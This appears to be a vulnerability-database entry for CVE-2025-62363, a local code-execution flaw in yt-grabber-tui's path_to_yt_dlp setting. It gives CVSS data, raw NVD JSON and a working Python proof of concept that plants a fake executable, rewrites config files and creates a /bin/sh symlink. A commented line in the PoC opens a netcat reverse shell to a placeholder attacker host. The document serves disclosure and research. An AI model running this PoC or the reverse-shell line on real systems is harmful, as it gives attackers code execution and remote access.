Security Vulnerability Report
中文
CVE-2025-62363 CVSS 7.8 HIGH

CVE-2025-62363

Published: 2025-10-13 22:15:34
Last Modified: 2026-04-15 00:35:42

Description

yt-grabber-tui is a terminal user interface application for downloading videos. In versions before 1.0-rc, the application allows users to configure the path to the yt-dlp executable via the path_to_yt_dlp configuration setting. An attacker with write access to the configuration file or the filesystem location of the configured executable can replace the executable with malicious code or create a symlink to an arbitrary executable. When the application invokes yt-dlp, the malicious code is executed with the privileges of the user running yt-grabber-tui. This vulnerability has been patched in version 1.0-rc.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

yt-grabber-tui < 1.0-rc

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62363 - yt-grabber-tui Local Code Execution PoC # This PoC demonstrates how an attacker can exploit the path_to_yt_dlp # configuration vulnerability to execute arbitrary code. import os import sys # Step 1: Create a malicious executable that will replace yt-dlp malicious_script = """#!/bin/bash # Malicious payload - executes with privileges of yt-grabber-tui user echo "[*] Malicious code executed via yt-grabber-tui vulnerability" echo "[*] Current user: $(whoami)" echo "[*] Current directory: $(pwd)" # Example: Create a reverse shell or execute arbitrary commands # nc -e /bin/bash attacker_ip 4444 # Or simply demonstrate code execution: id > /tmp/pwned.txt whoami >> /tmp/pwned.txt """ # Step 2: Write the malicious executable to a location # This could be the default yt-dlp path or any path the attacker can write to malicious_path = "/tmp/fake_yt_dlp" with open(malicious_path, "w") as f: f.write(malicious_script) os.chmod(malicious_path, 0o755) print(f"[*] Malicious executable created at: {malicious_path}") # Step 3: Modify yt-grabber-tui configuration to point to malicious executable # The config file location depends on the OS and installation method # Common locations: ~/.config/yt-grabber-tui/config.toml, ~/.yt-grabber-tui, etc. config_paths = [ os.path.expanduser("~/.config/yt-grabber-tui/config.toml"), os.path.expanduser("~/.yt-grabber-tui/config"), os.path.expanduser("~/.yt-grabber-tui.toml"), ] for config_path in config_paths: config_dir = os.path.dirname(config_path) if os.path.exists(config_dir): print(f"[*] Found config directory: {config_dir}") # Append or modify the path_to_yt_dlp setting with open(config_path, "a") as f: f.write(f'\npath_to_yt_dlp = "{malicious_path}"\n') print(f"[*] Configuration modified at: {config_path}") break # Step 4: Alternative - Symlink attack symlink_path = "/tmp/symlink_yt_dlp" if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink("/bin/sh", symlink_path) print(f"[*] Symlink created at: {symlink_path} -> /bin/sh") print("[*] PoC setup complete. When yt-grabber-tui is launched, malicious code will execute.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62363", "sourceIdentifier": "[email protected]", "published": "2025-10-13T22:15:33.910", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "yt-grabber-tui is a terminal user interface application for downloading videos. In versions before 1.0-rc, the application allows users to configure the path to the yt-dlp executable via the path_to_yt_dlp configuration setting. An attacker with write access to the configuration file or the filesystem location of the configured executable can replace the executable with malicious code or create a symlink to an arbitrary executable. When the application invokes yt-dlp, the malicious code is executed with the privileges of the user running yt-grabber-tui. This vulnerability has been patched in version 1.0-rc."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://github.com/zheny-creator/YtGrabber-TUI/commit/7adfdb68e8bf24559d1e9d8d4668de3d82c45591", "source": "[email protected]"}, {"url": "https://github.com/zheny-creator/YtGrabber-TUI/security/advisories/GHSA-94c4-wh57-8p9c", "source": "[email protected]"}]}}